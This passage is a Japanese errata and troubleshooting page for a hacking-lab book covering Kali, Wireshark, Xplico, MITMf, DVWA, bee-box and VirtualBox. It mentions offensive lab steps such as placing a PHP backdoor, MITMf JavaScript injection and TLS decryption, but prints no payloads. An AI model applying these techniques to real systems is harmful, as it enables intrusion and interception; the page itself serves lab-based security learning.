そもそも、このモジュールで従来のセッション2を確立化すること自体が冗長だといえます。
stagerのサイズもログでは985320 bytes、本のサイズと10KBも違っています。

(詳細はshell_to_meterpreterのソースを追うとわかるかも)

Firefoxを起動するとフリーズしたようになる 【第2部 第6章 P427】

このページではWiresharkでHTTPのパケットを観察するために、Firefoxを起動してネットを巡回するように指示しています。ところが、Pingでネットには接続できることを確認しているにもかかわらず、Firefoxを起動してもフリーズしたようになる現象があるそうです。特に、初回の起動時や最初の数回の起動だと起こりやすいようです。原因は不明であり、何か別の作業をしたり、Kaliの再起動を何度かしているうちに、この現象が発生しなくなるそうです。

もしこの段階でFirefoxの調子が悪いときは、いったんFirefoxは閉じておいてください。この場ではHTTP通信さえ実現できればよいので、Firefoxでなくても実験はできます。
Terminalで、次のcurlコマンドを実行することで、google.co.jpのWebサーバーにHTTP通信できます。そのときWiresharkにHTTP要求と応答のパケットが捕捉されるはずです。

# curl http://www.google.co.jp
curlコマンドは実験に便利なので、軽く調べてみることをおすすめします。

curlコマンドの使い方 ~GET、POST、REST(json)の確認と、windowsでの利用手順 別の一時的な解決方法として、WindowsにWiresharkをインストールして、日ごろ使っているブラウザでネットを巡回するという方法もあります。

Xplicoの認証ページを表示しようとすると"Internal Error"が発生する 【第2部 第6章 P436-437】

"/etc/init.d/xplico start"コマンドを実行した後に、http://localhost:9876にアクセスしても"Error: An Internal Error Has Occurred."と表示され、ログインページにならない現象が報告されています。

uname -aコマンドの結果
・Linux kali 4.18.0-kali2-amd64 #1 SMP Debian 4.18.10-2kali1 (2018-10-09) x86_64 GNU/Linux(うまくいったパターンとダメだったパターンあり)
・Linux kali 4.19.0-kali1-amd64 #1 SMP Debian 4.19.13-1kali1 (2019-01-03) x86_64 GNU/Linux


↑認証ページの表示でInternal Errorが発生

"/etc/init.d/xplico stop"コマンドを実行すると、"Xplico is not running!"画面に戻ります。この画面をよく見てください。起動コマンドの説明の下に同じエラーメッセージが出ていませんか?もし出ていれば、この時点で内部的にエラーが発生していると思われます。

↑実はこの時点でInternal Errorが発生

残念ながら、この問題に対する解決方法がまだわかりません。公式Wikiやフォーラムを確認しましたが、該当する情報は現状見当たりませんでした。解決方法がわかる方がいれば、是非お知らせください。

なお、"/opt/xplico/script/sqlite_demo.sh"コマンドを実行しても同様にInternal Errorになります。こちらを実行してしまうと止めるのが面倒になるので、実行しない方がよいでしょう(停止したければKaliを再起動するのが簡単)。

Demoページでアカウントを作成すれば、認証を進めることができますが、以降の挙動がおかしいようです。デモページ内でSessionを作成してもキャプチャファイルを指定できなかったり、作成したSessionを削除できなかったりします。


d5p287br(@d5p287br)さんの報告によれば、PHPのモジュールを切り替えることで解決したとのことです(Apacheが直接的な問題ではない)。その方法は以下の通りです。

Kali Linux web server shows blank pages (SOLVED)の記事よるとPHP 7.0または PHP7.2のモジュールであればエラーが発生するようなので、PHP 7.3に切り替えます。
モジュールを無効にするにはa2dismodコマンド、有効にするにはa2enmodコマンドを用います。
Kaliにどちらのモジュールが入っているかわからないので、両方に対してa2dismodコマンドを実行しています(どちらかではエラーが出るはずです)。

# a2dismod php7.0
(私のKaliの環境ではこののコマンドでエラーが出たが、問題なし)
# a2dismod php7.2
(モジュールが無効になったというメッセージが出た)
# a2enmod php7.3


↑PHPモジュールを切り替えたところ

後は、Apache2を再起動します。
# systemctl restart apache2
(エラーが出なければApache2の再起動が成功)
この状態でhttp://localhost:9876にアクセスしてください。下部の"Internal Error"のエラーメッセージが消えていればうまくいっていると期待できます。


↑"Internal Error"が消えた

それではP436のステップ3のようにコマンドを入力してXplicoのサービスを起動します。認証画面が出て、ログインできれば成功です。

なお、このモジュールの問題により、KaliのFirefoxでDVWAのページにアクセスすると真っ白でログインできないそうです。上記の方法でモジュールを切り替えることで、アクセスできるようになったようです。

SSLのセッションを復元する 【第2部 第6章 P458】

吉田貴志(@whYh1MTKtLowhaz)さんの報告によると、環境変数SSLKEYLOGFILEを定義してChromeにセッション鍵をお漏らしさせればサーバの秘密鍵なしでもブラウザだけで復号結果を見れるそうです。

wannabe_skywalker(@wannabeskywalk1)さんの報告によると、SSL通信のパケットの復号時において、WiresharkのRSA Keys listに秘密鍵(cert.pem)を登録しようとしたときに、次のエラーが出るそうです。


↑"Could not load PKCS#12 key file: could not load PKCS#12 in DER or PEM format: Base64 unexpected header error."エラー

パスワードを入力しないで登録しようとした場合は、登録自体は出来た(OKボタンを押せた)のですが、次のエラーが発生したとのこと。
↑"Can't load private key from cert.pem: can't import pem data: The requested data were not available."エラー

なお、cert.pemは、Ubuntu16.04上で以下のコマンドで作成したものを、Kali Linuxにコピーしたものを使用しています。

# openssl req -new -x509 -days 365 -out cert.pem -keyout cert.key
量産型IGALOG(@igaos )さんとのやり取りにより、「秘密鍵のパス解除」と「サーバー側のCipher SuiteのDHE無効化」で解決することがわかりました。
参考になる記事は以下の通り。
ksnctf: HTTPS is secure, Writeup (TLS 通信解読)
DH鍵交換でもWiresharkでSSL/TLSを復号化したい

Preferences画面にSSLの項目がない 【第2部 第6章 P459】

YAMIKUMO(@SwiSwiSwiSwiSw1)さんの報告によると、WiresherkのPreferences画面からSSLの項目がなくなっているようです。

なぜSSLの項目が消えたのかはわかりませんが(Wiresharkがバージョンアップして仕様が変わった?)、TLSパケットを右クリックして、下の画像のように展開すると、RSA keys listを選べます。


↑RSA Keys listの出し方

MITMfがインストールできない 【第2部 第6章 P488】

Kali 2019.2辺りから多くの方から報告が上がっていました。
MITMfのGitHubを見ると、長年メンテナンスされていないようです。
今後も更新される保証がなく、Kali 2019.4ではリポジトリからMITMfが外されたようです。

現状、他のツール(mitmproxyなど?)で代用するしかなさそうです。

mitmfコマンドの実行時にエラーが発生する 【第2部 第6章 P488】

吉田貴志(@whYh1MTKtLowhaz)さんの報告によると、mitmfコマンドの実行時に次のようなエラーが発生することがあるようです。


↑"ImportError"が表示される

このエラーの場合はfilepwn.pyファイルを削除するとmtimfコマンドが実行できるようです。

MITMfでJavaScriptコードを注入しようとするとAttributeErrorが発生する 【第2部 第6章 P500】

吉田貴志(@whYh1MTKtLowhaz)さんの報告によると、MITMfでのJavaScriptコードを注入しようとするとAttributeErrorが発生することがあるようです。

私自身は未検証ですが、twisted python libraryを新しいバージョンに入れ替えることで改善するそうです。

手持ちのUSB型WiFiドングルがKaliで認識しない 【第2部 第6章 P512-513】

日本で普及しているWiFiドングルはなかなかKaliでは認識しないかもしれません。 RomHIRAGA(@RomHIRAGA)さんの報告によると、以下の記事を参考にして、Windows10とVirtualBoxの問題を解決することで、Planexの有名WiFiドングルを認識させることができたそうです。

「VirtualBox: Failed to attach the USB device to the virtual machine」

ただし、レジストリをいじるので注意してください。

DVWAのページにアクセスしたときに画面が真っ白になる 【第2部 第7章 P595】

P436のモジュールの問題により、DVWAのページにアクセスすると真っ白でログインできないそうです。Xplicoの認証画面が出るようにモジュールを切り替えた方法により、DVWAの問題も解決するようです(修正方法は上記を参照)。

ovftool.exeでovfファイルを出力しようとするとエラーが発生する 【第2部 第7章 P625】

ovftool.exeでvmxファイルをovfファイルに変換する際に、"Error: Failed to open file"というエラーが発生するという報告を受けました。


↑"Error: Failed to open file"エラー

全員でこのエラーが起こるわけではなさそうです。インストールしたVMwareの問題なのか、ホストOS側の問題なのか、原因は不明です。
もしこの問題に遭遇した場合、こちらがかつてDLしたOVFToolフォルダを用意したので、それを試してください(ファイルのDL)。それで解決したという報告を受けています。
使い方としては、DLしたzipファイルを解凍します。コマンドプロンプトを起動したら、カレントディレクトリとしてそのフォルダーに移動し、ovftool.exeのコマンドを実行してください。

なお、P625に載っているコマンドの1行目だけが入力コマンドであり、2行目以降が出力結果です(第3刷の時点で、1行目と2行目の間の改行が抜けているので注意してください)。
C:\Program Files (x86)\VMware\VMware Player\OVFTool>.\ovftool.exe "C:\Users\ipusiron\Downloads\bee-box_v1.6\bee-box\bee-box.vmx" "C:\Users\ipusiron\Downloads\bee-box_v1.6\bee-box\bee-box.ovf" ←入力コマンド
Opening VMX source: C:\Users\ipusiron\Downloads\bee-box_v1.6\bee-box\bee-box.vmx ←以降は出力結果
Opening OVF target: C:\Users\ipusiron\Downloads\bee-box_v1.6\bee-box\bee-box.ovf
Writing OVF package: C:\Users\ipusiron\Downloads\bee-box_v1.6\bee-box\bee-box.ovf
Transfer Completed
Completed successfully
ovfファイルが生成され、VirtualBoxでインポートできれば成功です。

この方法でもうまくいかなければ、空の仮想マシンにbee-box.vmdkファイルを仮想HDDとして認識させるという手もあります。少々面倒ですが、この方法については以下の記事が参考になります。

VmwareからVirtualBoxに移行するときのメモ

右クリックでbee-boxをインポートしようするとエラーになる 【第2部 第7章 P626】

Rei(@rm_rf_rei)さんの報告によると、"bee-box.ovf"ファイルを右クリックしてインポートしようとするとエラーになる場合があるようです。


↑Parameter pasing error

これが起きた場合は、右クリックからのインポートを止めて、VirtualBoxのメイン画面から仮想アプライアンスのインポート画面からインポートしてください(これでうまくいったと報告がありました)。

bee-boxの仮想マシンに日本語キーボードのレイアウトを適用する 【第2部 第7章 P627】

bee-boxのキーボードレイアウトは日本語ではないので、記号を入力するのが手間です。また、[z]キーを押すと「w」、[w]キーを押すと「z」が表示され、どうやら英語キーボードのレイアウトでもなさそうです。
基本的にbee-boxではほとんどコマンドを入力することはないでしょう。ネットワークが不調の際委、IPアドレスをチェックしたり、Pingを実行したりするぐらいだと思います。そのため、キーボードレイアウトが合っていなくてもそれほど問題にならないはずです。

P627のステップ6のURLには、bee-boxのローカルからアクセスするわけではありません。別の仮想マシン(Kaliなど)やホストOS(Windows 10)からアクセスします。

ここで日本語キーボードのレイアウトの適用方法を紹介しますが、必須ではありません。必要があれば適用してください。

1:bee-boxのメニューの「System」>「Preferenses」>「Keyboard」を選びます。


2:「Layouts」タブを選びます。


3:Keyboard modelの右のボタンを押すと、「Choose a Keyboard Model」画面が表示されます。Vendorsに「Generic、Models」、Modelに「japanese 106-key」を指定して[OK]ボタンを押します。


4:[Add]ボタンを押して、「Choose a Layout」画面を開きます。Layoutsに「Japan」、Variantsを「OADG 109A」(Defaultだと円マークではなく、バックスラッシュになる)を指定して、[Add]ボタンを押します。


5:Select layoutsで「Japan OADG 109A」を選んでチェックを入れて、[Close]ボタンで閉じます。


なお、上記の検証については虎牙龍樹(@kogaryuju)さんに協力していただきました。

bee-boxにPHPバックドアを設置する際に、ステップ4の処理はどういう意図があるのか 【第2部 第7章 P633】

noe(@noe44657130)さんから、php-backdoor.phpを`/var/www/html`に設置した際に、拡張子に".txt"を追加しているのはなぜでしょうかという質問がDMで寄せられました。

結論からいえば、ステップ4は本の都合上あるだけであり、攻撃の本質とは関係ありません。
どういう都合があったのかというと、次の通りです。
もしステップ4を飛ばしてステップ5から解説したとします。
その際、ステップ5がうまくいかないという問い合わせがあったときに、PHPの問題なのか単にHTTPアクセスできないこと(例えばApacheの起動を忘れた)が問題なのかがわかりません。
これを避けるために、ステップ4を設けて、phpのソースが見れる(=Apacheが起動してHTTPでアクセスできる)ことを確認しているのです。

以上のやり取りをツイートにまとめていただきました。

bee-boxのBuffer Overflowについての考察 【第2部 第7章 P652】

wannabe_skywalker(@wannabeskywalk1さん)がBoFのExploitについて考察しています。

apt upgrade中にwireshark-commonの設定をしたが、改めて設定を変更したい

apt upgrade中にwireshark-commonの設定画面が表示されることがあります。その際に"Should non-superusers be able to capture packets?"(スーパーユーザー以外もパケットをキャプチャできるように許可しますか?)という質問が表示され、Yes/Noを選択する必要があります。デフォルトではNoが選択されており、通常はNoのままで構いません。root以外もキャプチャできるようにユーザーを追加するつもりであれば、ここでYesを選択します。

なお、後でこの設定を変更したければ、次のコマンドをTerminalに実行します。すると、wireshark-commonの設定画面が表示されます。

# dpkg-reconfigure wireshark-common


↑wireshark-commonの設定画面

Androidを起動しても、画面が暗いままである 【特典 Androidのハッキング】

特典PDFのバージョン以降のAndroid-x86を仮想マシンインストールすると、起動時に画面が暗いままになるそうです。 TOSHI(@TOSHI34277954)さんの報告によると、起動時に次のような画面になるそうです。
一見するとコンソールモードになっています。


↑真っ黒い画面

「Android-x86 8.1をVirtualBoxに入れる話」の記事を参考にすると、仮想マシンの「ディスプレイ」項目の「Graphics Controller」を「VBoxVGA」に、「3Dアクセラレーションを有効化」にチェックを入れないと、正常に起動できずプロンプトに「x86_64:/ #」が表示されて止まるとのこと。

また、B250(@Kirby_B250)さんの報告によると、仮想マシンのディスプレイの設定を見直すとよいとのことです。
Graphics ControllerがVMSであれば、VBoxに変更して、起動し直してください。

VMSのままで動かしたい場合は、GRUBのメニューで[e]、さらにkernelを選択して[e]。
編集モードになったら「quiet」を「nomodeset xforcevesa」に書き換えて[enter]、[b]でbootしてようやく動くようです。
debag modeから「vi /mnt/grub/menu.lst」でGRUBのメニューを同様に書き換え(または追加し)ておくと、手間が省けます。

PCはメモリが4GBなのですが耐えられますか?

本書では一般に2つのゲストOSを起動します。つまり、「ホストOSの分+ゲストOSの分×2」のメモリが必要になります。8GBあれば余裕がありますが、4GBの場合はぎりぎりでしょうか。ホスト2GB+ゲスト1GB×2とすることで、理論的には何とかなると思います(動作は重くなります)。

例えばPCを2台持っていたり、NASを持っていれば、そこにゲスト1台分を起動して、メインマシンはゲスト1台分という構成も可能です。ネットワーク的には仮想マシンをブリッジ接続にすれば、仮想マシンのゲストOSがLANにぶらさがる形になります。

クラウド上やNAS上に仮想マシンを立ち上げるというアプローチもあります。ラズパイという選択肢もありますね。ハッキング・ラボ本ではラズパイにKaliをインストールする方法も紹介しています。このKaliは最小構成ですが、ここからメインマシンの仮想マシン(ターゲットのゲストOS)に攻撃してみるという実験も可能です。

私はlenovoのX220というマシンをハッキング・ラボの実験に用いました。ノートPCなのに自分でばらばらにできるので、メモリ増設だけでなく色々拡張もできます。ヤフオクで20k以下で買えると思います。

なお、本書の一部では、1台の仮想マシンでできる実験もあります。

PCのメモリが少なくハッキング・ラボの実験のために工夫したといったことがあれば、是非Twitterに投稿していただけれると他の人(同じような境遇の人)も勇気付くと思います。

仮想マシンがWiFiのアイコンがなくWiredしか出ない

内蔵しているWiFi子機を用いている場合には、Kaliの仮想マシンから見るとWiFiは見えず有線LANのアクセスになります。つまり、Wiredアイコンしか出ないのは正しい動作です。

無線LANのハッキングのとき以外は、ノートPCの内蔵WiFi子機で、Kaliの仮想マシンからインターネットにアクセスできていれば問題ありません。ホスト側がWiFiであっても、仮想マシンからは有線LANとして見えます。

無線LANのハッキングと化する際にはUSBのWiFiアダプタを用います。これについてはP514辺りを参照してください。

VirtualBoxを起動すると"VT-x is not available."が出てしまう

WindowsのHyper-V機能が有効であったり、BIOSのIntelVTが無効になっている可能性があります。特典PDF1のP002でこの辺りの解説をしています。
対応方法は環境によって異なるのでネットで検索した方が早いと思います。特に、以下のサイトが参考になると思います。

Microsoft Edge での Kaliダウンロード と VirtualBox での Kali起動 が失敗した話 と その解決方法
「VirtualBoxが"VT-x is not available. (VERR_VMX_NO_VMX)"といって起動しなくなった」

例えば、sugimoto(@sugineko774)さんの報告によると、BIOSでVT-xが無効になっていると次のエラーメッセージが表示されたそうです。VT-xを有効にすることで起動できたようです。


↑"VT-x is disabled in BIOS for all CPU modes"エラー

BIOSの画面はメーカーや型番によって異なります。BIOSを開いて、Security>Virtualization>Intel VT(Virtualization Technology)の設定をEnabled(有効)にすることで仮想化が有効になり、"VT-x is not available."のエラーが出なくなります。なお、画像はmuù(@muumuunimuu)さんのツイートから引用しました。


↑BIOSのVirtualizationの設定箇所

macOSを使っていますが、ハッキング・ラボを構築できますか?

『ハッキング・ラボのつくりかた』ではWindows(ホストOS)をベースにして仮想環境を構築して、その仮想環境上でハッキングの実験をしています。ただし、macOSやLinuxであっても、一度VirtualBoxをインストールしてしまえば、同様にしてハッキング・ラボを構築できます。よって、一部に関して『ハッキング・ラボのつくりかた』に書いてある方法そのままではうまくいかないかもしれませんが、本質的なところはOSの種類に関係なく実験したり、攻撃手法を学んだりできるはずです。
Masahiro Oono(@words_oono)さんがmacOSにおけるハッキング・ラボの構築をTwitterで詳細にまとめてくれています。

第1部の検証

仮想マシンを起動した際に、いつまで経っても先に進まない(ように見える)

KaliやWindows 10の仮想マシンの起動時、いつまで経っても先に進まなく見えることがあるようです。
VBoxのメイン画面で仮想マシンの簡易画面を見ると、きちんと表示されているはずです。

Kaliの仮想マシンであれば、描画が反映されていないだけなので、仮想マシンの画面の端をマウスでつまんで少しサイズを変えると多分描画されます。

また、虎牙龍樹(@kogaryuju)さんの報告によれば、Windows 10の仮想マシンであれば、P301の解説のように仮想マシンを設定することで問題を解決されるそうです。


↑仮想マシンのシステム設定

仮想マシンのネットワークがうまく反映されず、仮想マシン間の通信ができない

ゲスト間で通信するためには、両方とホストオンリーアダプターでIPアドレスが割り振られている必要があります。
他のアプローチとしては、ブリッジアダプターで既存のLANに両方のゲストOSをぶらさげるという方法もあります。ただし、ブリッジアダプターの場合には、仮想アダプターは複数(ブリッジアダプター+NAT)ではなく、単独(ブリッジアダプターのみ)だと安定します。

Kaliのパスワードを忘れてしまった

公式サイトにKaliのパスワードをリセットする方法についての次の記事を参考にしてください。

How to reset Kali Linux root password
How to reset Kali Linux Password

私は未検証ですが、もし検証した結果の画像等があればTwitterなどで投稿していたければ幸いです。

VirtualBoxでKaliの仮想マシンを起動した際に、"could not connect to display"というエラーが出る

あるツイートによると、リカバリーモードで入ってから、sudo apt install virtualbox-dkmsを入力すると直ったそうです。

Metasploitのコマンド入力を自動化したい

msconsoleコマンドには-rオプションが用意されており、msfプロンプトで実行したいコマンドを列挙したrcファイルを指定することで、その一連のコマンドを自動実行できます。
詳細は 「Metasploitをバッチで実行する」の記事が参考になります。

仮想マシンの画面をスケールモードにしてしまい、メニューが消えてしまった

ホストキー+[Home]キーを押すと、メニューが表示されます。
そこからスケールモードのチェックを外してください。

ホストキーが何に設定されているかは、別の仮想マシンを起動すれば右下に確認できます。
また、VirtualBoxのホストキーの設定画面で確認できます。

P110も参考にするとよいでしょう。

『ハッキング・ラボのつくりかた』のラボ環境をHyper-Vで構築したい

「「ハッキング・ラボのつくりかた」をHyper-Vで写経してみる」の記事が参考になります。

VirtualBox画面にて、仮想マシンのアイコンが「はてなマーク」になったり、「アクセスできません」と表示されたりしてしまった

以下の記事が参考になります。

「Virtual Boxマネージャ「IE8-Win7」アイコンに「アクセスできません」が表示されていて起動が行えない」
「Failed to Open Virtual Machine - Medium Cannot be Closed」
報告によると、GuestAdditions.isoを2回挿入してしまったときに起こったようです。

メニューバーや日本語表記アイコンが消えた

Minami(@mi_nami9)さんの報告によると、次の方法で再表示できるようです。

・メニューバー表示
VirtualBoxのメイン画面にてKaliの仮想マシンを右クリックして「設定」>「ユーザーインターフェース」>「ミニツールバー」にチェックする。
後は、再起動を繰り返すと、そのうち表示される。

・日本語表記アイコン
メニューバーと共に突然出現する。
設定を見直し、数回に分けて再起動すれば直る。

画面を最大化すると表示が乱れたり、処理が重くなったりする

kumou(@ya_toe12)さんの報告によると、Kali内において画面を最大化すると表示が乱れたり、処理が重くなったりするそうです(Kaliのバージョン、あるいはデスクトップ環境のソフトに依存?)。
その際は、タスクバーを隠すように設定することで、解決するとのことです。


↑表示が乱れた場面

今後、Kaliのシステムが全体的にアップグレードすれば、この問題が解決するかもしれません。

Twitterやブログでハッキング・ラボの実験は、不正指令電磁的記録作成等(提供を含む)に該当しませんか?

出版当時からそういった懸念があったため、P004で免責を載せています。
また、個人的にはハッキング・ラボを強調することは、閉じた環境かつ安全に実験していることのアピールになると思っています。

他人がアクセスできる場所(インターネット、社内LANなど)であれば、無数の人が存在し、当該プログラムを意図しない動作をするものと判断することもあるでしょう。
しかし、仮想環境という閉じたネットワーク内であれば、そのプログラムを扱うのは実験者の本人しかいません。
ハッキング・ラボの実験のために実行ファイル(evil.exeなど)を生成したとしても、そのファイルの動きは実験者にとって完全に意図した動きです。

さらに、自衛するのであれば、実験のために生成した実行ファイルは、実験後に削除しておきましょう。
Kaliのツールでいつでもすぐに生成できるので、保存しておく必要はないでしょう。
万が一に流出してしまうということも防げます。

mac版のKidleアプリでコピーできない

taiyop(@taiyop)さんの報告によると、mac版のKidleアプリで『ハッキング・ラボのつくりかた』の文字列をコピーしようとしても、ブロックされてしまうそうです。
私がWindows版やiPad版のKindleアプリで調査したところ、再現しませんでした。
また、出版社(=翔泳社)側は、mac版で調査したところ再現しなかったそうです。
Amazonに問い合わせても、原因不明とのことです。

現在も調査中であり、未解決です。

▲ページトップに戻る